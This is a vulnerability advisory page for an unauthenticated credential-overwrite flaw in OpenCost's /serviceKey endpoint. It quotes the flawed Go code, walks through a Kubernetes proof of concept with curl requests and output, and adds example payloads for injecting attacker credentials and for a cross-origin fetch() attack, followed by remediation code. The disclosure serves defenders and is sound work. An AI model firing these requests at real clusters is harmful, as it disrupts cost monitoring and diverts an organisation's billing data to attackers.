GHSA-WMJ8-9953-VFF5

Vulnerability from github – Published: 2026-07-14 17:07 – Updated: 2026-07-14 17:19
VLAI
Summary
OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection
Details

Summary

OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.


Affected Versions

  • OpenCost: All versions up to and including the latest release
  • Vulnerable File: pkg/costmodel/router.go (lines 365-379)
  • Vulnerable Endpoint: POST /serviceKey

Vulnerability Details

Root Cause

The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:

func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("Access-Control-Allow-Origin", "*")  // Overly permissive CORS

    r.ParseForm()

    key := r.PostForm.Get("key")  // User-controlled input, no validation
    k := []byte(key)
    err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644)  //  Direct file write
    if err != nil {
        fmt.Fprintf(w, "Error writing service key: %s", err)
    }

    w.WriteHeader(http.StatusOK)
}

File Path Determination (core/pkg/env/core.go):

func GetGCPAuthSecretFilePath() string {
    return GetPathFromConfig("key.json")
}

func GetPathFromConfig(fileName string) string {
    return filepath.Join(GetConfigPath(), fileName)
}

func GetConfigPath() string {
    return Get(ConfigPathEnvVar, DefaultConfigPath)  // Default: /var/configs
}

Security Issues

  1. No Authentication: Any network-accessible client can invoke the endpoint
  2. No Input Validation: User input is not validated as a valid GCP service account key
  3. Overly Permissive CORS: Access-Control-Allow-Origin: * allows cross-origin attacks
  4. Predictable File Path: File location controlled by CONFIG_PATH environment variable

Proof of Concept

Environment Setup

Prerequisites

  • Kubernetes cluster (tested on kind v1.30.0)
  • Helm 3.x
  • kubectl configured

Step 1: Create Namespace

kubectl create namespace opencost

Output:

namespace/opencost created

Step 2: Add OpenCost Helm Repository

helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo update

Output:

"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!

Step 3: Deploy OpenCost

helm install opencost opencost/opencost --namespace opencost \
  --set opencost.exporter.defaultClusterId=test-cluster \
  --set opencost.prometheus.internal.enabled=true \
  --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
  --set opencost.prometheus.internal.namespaceName=monitoring \
  --set opencost.prometheus.internal.port=9090 \
  --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'

Key Configuration: - CONFIG_PATH=/tmp: Sets writable directory for file operations

Output:

NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1

Step 4: Verify Deployment

kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost

Output:

NAME                      READY   STATUS    RESTARTS   AGE
opencost-db97bbcc-5q8cb   2/2     Running   0          44s

Step 5: Verify Service Accessibility

kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
  curl -v http://opencost.opencost.svc.cluster.local:9003/healthz

Output:

< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0

Exploitation

Step 6: Check Initial State

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

cat: can't open '/tmp/key.json': No such file or directory

Note: File does not exist initially

Step 7: Verify CONFIG_PATH Configuration

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH

Output:

CONFIG_PATH=/tmp

Note: CONFIG_PATH correctly set to /tmp

Step 8: Execute Exploit

MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'

kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
  curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "key=${MALICIOUS_CONTENT}" \
  -v

Request Details:

> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244

Response Details:

< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0

Result: HTTP 200 OK - Request successful without authentication

Step 9: Verify File Write

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}

Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file


Impact Analysis

Direct Impact

Impact Type Severity Description
Unauthorized Credential Overwrite High Attacker can overwrite GCP service account key file content
No Authentication Required High Vulnerability can be exploited without any credentials
CORS Misconfiguration Medium Allows cross-origin attacks via malicious websites
Fixed File Path Low Attacker cannot control write location, only content

Attack Scenario Analysis

Scenario 1: GCP Credential Overwrite Leading to Service Disruption

Attack Steps: 1. Attacker sends POST request with invalid JSON or malformed GCP key 2. /serviceKey endpoint accepts request and overwrites existing key.json file 3. OpenCost attempts to access GCP API with corrupted credentials 4. GCP integration fails, cost data collection stops

Technical Details:

# Attack payload example
curl -X POST http://opencost:9003/serviceKey \
  -d 'key={"invalid":"json","corrupted":"credentials"}'

Impact: - Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data - Operational Impact: FinOps processes dependent on cost data are blocked - Availability Degradation: Manual intervention required to restore correct credentials

CVSS Impact Score: Availability impact is Low (A:L)


Scenario 2: Malicious Credential Injection for Data Hijacking

Attack Steps: 1. Attacker creates their own GCP project and service account 2. Injects attacker-controlled valid GCP credentials into OpenCost 3. OpenCost uses attacker's credentials to send requests to GCP Billing API 4. Target organization's cost data is sent to attacker's GCP project

Technical Details:

# Inject attacker credentials
ATTACKER_KEY='{
  "type": "service_account",
  "project_id": "attacker-billing-project",
  "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
  "client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com"
}'

curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}"

Impact: - Sensitive Data Leakage: Organization's cloud resource usage patterns and cost details - Business Intelligence Leakage: Can infer business scale, growth trends, technology stack - Compliance Risk: Cost data may contain protected business information

Data Leakage Examples: - Kubernetes cluster size and node configuration - Resource consumption per namespace (can map to business units) - Cloud service usage patterns (databases, storage, compute instance types) - Cost trends (can infer business growth or contraction)

CVSS Impact Score: Confidentiality impact is None (C:N), but business impact is High


Scenario 3: Cross-Origin Attack (CORS Exploitation)

Attack Steps: 1. User visits attacker-controlled malicious website 2. Malicious JavaScript sends POST request to http://localhost:9003/serviceKey 3. Due to CORS set to *, browser allows cross-origin request 4. User's browser acts as proxy to execute credential overwrite attack

Prerequisites: - User exposes OpenCost service via kubectl port-forward or other means - User's browser can access OpenCost endpoint

Technical Details:

// JavaScript on malicious website
fetch('http://localhost:9003/serviceKey', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'key={"type":"malicious"}'
});

Impact: - User-Unaware Attack: No active user interaction required - Difficult to Trace: Attack originates from victim's IP address - Limited Exploitation Conditions: Requires OpenCost exposed to user-accessible network


Vulnerability Limitations

What Attacker Cannot Control: - File Write Path: Fixed by CONFIG_PATH environment variable, attacker cannot modify - File Name: Fixed as key.json, cannot write to other files - File Permissions: Write permission is 0644, attacker cannot escalate

Actual Attack Capabilities: - File Content Control: Complete control over key.json content - Unauthenticated Exploitation: No credentials required to trigger - Remote Accessibility: Can be exploited over network (if service exposed)


Real-World Impact Assessment

Deployment Scenario Risk Level Description
Cluster-Internal Only Medium Requires attacker to have cluster network access
Exposed via Ingress High Any internet user can exploit
Exposed via NodePort High Attackers with node network access can exploit
Via port-forward Medium-High Local dev environments vulnerable to CORS attacks

Recommended Risk Rating: - Default deployment (cluster-internal): Medium - Improperly exposed (public internet): High


Remediation

Immediate Actions (P0)

1. Add Authentication

func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    // Add authentication check
    if !a.isAuthorized(r) {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }

    // ... existing logic
}

2. Implement Input Validation

func validateServiceKey(key string) error {
    var keyData map[string]interface{}
    if err := json.Unmarshal([]byte(key), &keyData); err != nil {
        return fmt.Errorf("invalid JSON format")
    }

    requiredFields := []string{"type", "project_id", "private_key_id", "private_key"}
    for _, field := range requiredFields {
        if _, ok := keyData[field]; !ok {
            return fmt.Errorf("missing required field: %s", field)
        }
    }

    if keyData["type"] != "service_account" {
        return fmt.Errorf("invalid key type")
    }

    return nil
}

3. Restrict CORS

w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN"))

Long-term Solutions (P1)

  1. Use Kubernetes Secrets: Store credentials in Kubernetes Secrets instead of files
  2. Implement RBAC: Role-based access control for sensitive operations
  3. Add Audit Logging: Log all file write operations
  4. Apply Least Privilege: Minimize ClusterRole permissions

Workarounds

Until a patch is available, implement these mitigations:

  1. Network Segmentation: Restrict access to OpenCost service using NetworkPolicies
  2. Disable Endpoint: Remove or disable the /serviceKey endpoint if not required
  3. Monitor File Changes: Alert on modifications to key.json file
  4. Use Read-only Filesystem: Mount config directory as read-only where possible

References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencost/opencost"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.119.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44300"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-309"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T17:07:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOpenCost contains an unauthenticated  file write vulnerability in the `/serviceKey` endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.\n\n---\n\n\n## Affected Versions\n\n- **OpenCost**: All versions up to and including the latest release\n- **Vulnerable File**: `pkg/costmodel/router.go` (lines 365-379)\n- **Vulnerable Endpoint**: `POST /serviceKey`\n\n---\n\n## Vulnerability Details\n\n### Root Cause\n\nThe `AddServiceKey` function in `pkg/costmodel/router.go` accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:\n\n```go\nfunc (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n    w.Header().Set(\"Content-Type\", \"application/json\")\n    w.Header().Set(\"Access-Control-Allow-Origin\", \"*\")  // Overly permissive CORS\n\n    r.ParseForm()\n\n    key := r.PostForm.Get(\"key\")  // User-controlled input, no validation\n    k := []byte(key)\n    err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644)  //  Direct file write\n    if err != nil {\n        fmt.Fprintf(w, \"Error writing service key: %s\", err)\n    }\n\n    w.WriteHeader(http.StatusOK)\n}\n```\n\n**File Path Determination** (`core/pkg/env/core.go`):\n```go\nfunc GetGCPAuthSecretFilePath() string {\n    return GetPathFromConfig(\"key.json\")\n}\n\nfunc GetPathFromConfig(fileName string) string {\n    return filepath.Join(GetConfigPath(), fileName)\n}\n\nfunc GetConfigPath() string {\n    return Get(ConfigPathEnvVar, DefaultConfigPath)  // Default: /var/configs\n}\n```\n\n### Security Issues\n\n1. **No Authentication**: Any network-accessible client can invoke the endpoint\n2. **No Input Validation**: User input is not validated as a valid GCP service account key\n3. **Overly Permissive CORS**: `Access-Control-Allow-Origin: *` allows cross-origin attacks\n4. **Predictable File Path**: File location controlled by `CONFIG_PATH` environment variable\n\n---\n\n## Proof of Concept\n\n### Environment Setup\n\n#### Prerequisites\n- Kubernetes cluster (tested on kind v1.30.0)\n- Helm 3.x\n- kubectl configured\n\n#### Step 1: Create Namespace\n\n```bash\nkubectl create namespace opencost\n```\n\n**Output**:\n```\nnamespace/opencost created\n```\n\n#### Step 2: Add OpenCost Helm Repository\n\n```bash\nhelm repo add opencost https://opencost.github.io/opencost-helm-chart\nhelm repo update\n```\n\n**Output**:\n```\n\"opencost\" has been added to your repositories\nHang tight while we grab the latest from your chart repositories...\n...Successfully got an update from the \"opencost\" chart repository\nUpdate Complete. Happy Helming!\n```\n\n#### Step 3: Deploy OpenCost\n\n```bash\nhelm install opencost opencost/opencost --namespace opencost \\\n  --set opencost.exporter.defaultClusterId=test-cluster \\\n  --set opencost.prometheus.internal.enabled=true \\\n  --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \\\n  --set opencost.prometheus.internal.namespaceName=monitoring \\\n  --set opencost.prometheus.internal.port=9090 \\\n  --set-string \u0027opencost.exporter.extraEnv.CONFIG_PATH=/tmp\u0027\n```\n\n**Key Configuration**:\n- `CONFIG_PATH=/tmp`: Sets writable directory for file operations\n\n**Output**:\n```\nNAME: opencost\nLAST DEPLOYED: Sun Jan 18 00:39:21 2026\nNAMESPACE: opencost\nSTATUS: deployed\nREVISION: 1\n```\n\n#### Step 4: Verify Deployment\n\n```bash\nkubectl get pods -l app.kubernetes.io/instance=opencost -n opencost\n```\n\n**Output**:\n```\nNAME                      READY   STATUS    RESTARTS   AGE\nopencost-db97bbcc-5q8cb   2/2     Running   0          44s\n```\n\n#### Step 5: Verify Service Accessibility\n\n```bash\nkubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \\\n  curl -v http://opencost.opencost.svc.cluster.local:9003/healthz\n```\n\n**Output**:\n```\n\u003c HTTP/1.1 200 OK\n\u003c Vary: Origin\n\u003c Date: Sat, 17 Jan 2026 16:32:07 GMT\n\u003c Content-Length: 0\n```\n\n### Exploitation\n\n#### Step 6: Check Initial State\n\n```bash\nkubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json\n```\n\n**Output**:\n```\ncat: can\u0027t open \u0027/tmp/key.json\u0027: No such file or directory\n```\n\nNote: File does not exist initially\n\n#### Step 7: Verify CONFIG_PATH Configuration\n\n```bash\nkubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH\n```\n\n**Output**:\n```\nCONFIG_PATH=/tmp\n```\n\nNote: CONFIG_PATH correctly set to /tmp\n\n#### Step 8: Execute Exploit\n\n```bash\nMALICIOUS_CONTENT=\u0027{\"type\":\"VULNERABILITY_PROOF\",\"vuln_id\":\"VUL-002\",\"timestamp\":\"2026-01-18T00:41:00Z\",\"message\":\"Arbitrary file write without authentication - SUCCESSFUL\",\"injected_by\":\"security_researcher\",\"evidence\":\"This proves the vulnerability exists\"}\u0027\n\nkubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \\\n  curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"key=${MALICIOUS_CONTENT}\" \\\n  -v\n```\n\n**Request Details**:\n```\n\u003e POST /serviceKey HTTP/1.1\n\u003e Host: opencost.opencost.svc.cluster.local:9003\n\u003e User-Agent: curl/8.18.0\n\u003e Accept: */*\n\u003e Content-Type: application/x-www-form-urlencoded\n\u003e Content-Length: 244\n```\n\n**Response Details**:\n```\n\u003c HTTP/1.1 200 OK\n\u003c Access-Control-Allow-Origin: *\n\u003c Content-Type: application/json\n\u003c Vary: Origin\n\u003c Date: Sat, 17 Jan 2026 16:42:29 GMT\n\u003c Content-Length: 0\n```\n\nResult: HTTP 200 OK - Request successful without authentication\n\n#### Step 9: Verify File Write\n\n```bash\nkubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json\n```\n\n**Output**:\n```json\n{\"type\":\"VULNERABILITY_PROOF\",\"vuln_id\":\"VUL-002\",\"timestamp\":\"2026-01-18T00:41:00Z\",\"message\":\"Arbitrary file write without authentication - SUCCESSFUL\",\"injected_by\":\"security_researcher\",\"evidence\":\"This proves the vulnerability exists\"}\n```\n\nResult: VULNERABILITY CONFIRMED - Malicious content successfully written to file\n\n---\n\n## Impact Analysis\n\n### Direct Impact\n\n| Impact Type | Severity | Description |\n|------------|----------|-------------|\n| **Unauthorized Credential Overwrite** | High | Attacker can overwrite GCP service account key file content |\n| **No Authentication Required** | High | Vulnerability can be exploited without any credentials |\n| **CORS Misconfiguration** | Medium | Allows cross-origin attacks via malicious websites |\n| **Fixed File Path** | Low | Attacker cannot control write location, only content |\n\n### Attack Scenario Analysis\n\n#### Scenario 1: GCP Credential Overwrite Leading to Service Disruption\n\n**Attack Steps**:\n1. Attacker sends POST request with invalid JSON or malformed GCP key\n2. `/serviceKey` endpoint accepts request and overwrites existing `key.json` file\n3. OpenCost attempts to access GCP API with corrupted credentials\n4. GCP integration fails, cost data collection stops\n\n**Technical Details**:\n```bash\n# Attack payload example\ncurl -X POST http://opencost:9003/serviceKey \\\n  -d \u0027key={\"invalid\":\"json\",\"corrupted\":\"credentials\"}\u0027\n```\n\n**Impact**:\n- **Cost Monitoring Disruption**: Unable to retrieve GCP cloud cost data\n- **Operational Impact**: FinOps processes dependent on cost data are blocked\n- **Availability Degradation**: Manual intervention required to restore correct credentials\n\n**CVSS Impact Score**: Availability impact is Low (A:L)\n\n---\n\n#### Scenario 2: Malicious Credential Injection for Data Hijacking\n\n**Attack Steps**:\n1. Attacker creates their own GCP project and service account\n2. Injects attacker-controlled valid GCP credentials into OpenCost\n3. OpenCost uses attacker\u0027s credentials to send requests to GCP Billing API\n4. Target organization\u0027s cost data is sent to attacker\u0027s GCP project\n\n**Technical Details**:\n```bash\n# Inject attacker credentials\nATTACKER_KEY=\u0027{\n  \"type\": \"service_account\",\n  \"project_id\": \"attacker-billing-project\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\n...\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"opencost-hijack@attacker-project.iam.gserviceaccount.com\"\n}\u0027\n\ncurl -X POST http://opencost:9003/serviceKey -d \"key=${ATTACKER_KEY}\"\n```\n\n**Impact**:\n- **Sensitive Data Leakage**: Organization\u0027s cloud resource usage patterns and cost details\n- **Business Intelligence Leakage**: Can infer business scale, growth trends, technology stack\n- **Compliance Risk**: Cost data may contain protected business information\n\n**Data Leakage Examples**:\n- Kubernetes cluster size and node configuration\n- Resource consumption per namespace (can map to business units)\n- Cloud service usage patterns (databases, storage, compute instance types)\n- Cost trends (can infer business growth or contraction)\n\n**CVSS Impact Score**: Confidentiality impact is None (C:N), but business impact is High\n\n---\n\n#### Scenario 3: Cross-Origin Attack (CORS Exploitation)\n\n**Attack Steps**:\n1. User visits attacker-controlled malicious website\n2. Malicious JavaScript sends POST request to `http://localhost:9003/serviceKey`\n3. Due to CORS set to `*`, browser allows cross-origin request\n4. User\u0027s browser acts as proxy to execute credential overwrite attack\n\n**Prerequisites**:\n- User exposes OpenCost service via `kubectl port-forward` or other means\n- User\u0027s browser can access OpenCost endpoint\n\n**Technical Details**:\n```javascript\n// JavaScript on malicious website\nfetch(\u0027http://localhost:9003/serviceKey\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027},\n  body: \u0027key={\"type\":\"malicious\"}\u0027\n});\n```\n\n**Impact**:\n- **User-Unaware Attack**: No active user interaction required\n- **Difficult to Trace**: Attack originates from victim\u0027s IP address\n- **Limited Exploitation Conditions**: Requires OpenCost exposed to user-accessible network\n\n---\n\n### Vulnerability Limitations\n\n**What Attacker Cannot Control**:\n- **File Write Path**: Fixed by `CONFIG_PATH` environment variable, attacker cannot modify\n- **File Name**: Fixed as `key.json`, cannot write to other files\n- **File Permissions**: Write permission is `0644`, attacker cannot escalate\n\n**Actual Attack Capabilities**:\n- **File Content Control**: Complete control over `key.json` content\n- **Unauthenticated Exploitation**: No credentials required to trigger\n- **Remote Accessibility**: Can be exploited over network (if service exposed)\n\n---\n\n### Real-World Impact Assessment\n\n| Deployment Scenario | Risk Level | Description |\n|---------------------|-----------|-------------|\n| **Cluster-Internal Only** | Medium | Requires attacker to have cluster network access |\n| **Exposed via Ingress** | High | Any internet user can exploit |\n| **Exposed via NodePort** | High | Attackers with node network access can exploit |\n| **Via port-forward** | Medium-High | Local dev environments vulnerable to CORS attacks |\n\n**Recommended Risk Rating**:\n- Default deployment (cluster-internal): **Medium**\n- Improperly exposed (public internet): **High**\n\n---\n\n## Remediation\n\n### Immediate Actions (P0)\n\n#### 1. Add Authentication\n\n```go\nfunc (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n    // Add authentication check\n    if !a.isAuthorized(r) {\n        http.Error(w, \"Unauthorized\", http.StatusUnauthorized)\n        return\n    }\n\n    // ... existing logic\n}\n```\n\n#### 2. Implement Input Validation\n\n```go\nfunc validateServiceKey(key string) error {\n    var keyData map[string]interface{}\n    if err := json.Unmarshal([]byte(key), \u0026keyData); err != nil {\n        return fmt.Errorf(\"invalid JSON format\")\n    }\n\n    requiredFields := []string{\"type\", \"project_id\", \"private_key_id\", \"private_key\"}\n    for _, field := range requiredFields {\n        if _, ok := keyData[field]; !ok {\n            return fmt.Errorf(\"missing required field: %s\", field)\n        }\n    }\n\n    if keyData[\"type\"] != \"service_account\" {\n        return fmt.Errorf(\"invalid key type\")\n    }\n\n    return nil\n}\n```\n\n#### 3. Restrict CORS\n\n```go\nw.Header().Set(\"Access-Control-Allow-Origin\", os.Getenv(\"ALLOWED_ORIGIN\"))\n```\n\n### Long-term Solutions (P1)\n\n1. **Use Kubernetes Secrets**: Store credentials in Kubernetes Secrets instead of files\n2. **Implement RBAC**: Role-based access control for sensitive operations\n3. **Add Audit Logging**: Log all file write operations\n4. **Apply Least Privilege**: Minimize ClusterRole permissions\n\n---\n\n## Workarounds\n\nUntil a patch is available, implement these mitigations:\n\n1. **Network Segmentation**: Restrict access to OpenCost service using NetworkPolicies\n2. **Disable Endpoint**: Remove or disable the `/serviceKey` endpoint if not required\n3. **Monitor File Changes**: Alert on modifications to `key.json` file\n4. **Use Read-only Filesystem**: Mount config directory as read-only where possible\n\n---\n\n## References\n\n- **Vulnerable Code**: `pkg/costmodel/router.go:365-379`\n- **Environment Configuration**: `core/pkg/env/core.go`\n- **OWASP**: [Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n- **CWE-306**: [Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- **CWE-20**: [Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)",
  "id": "GHSA-wmj8-9953-vff5",
  "modified": "2026-07-14T17:19:44Z",
  "published": "2026-07-14T17:07:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencost/opencost/security/advisories/GHSA-wmj8-9953-vff5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opencost/opencost"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…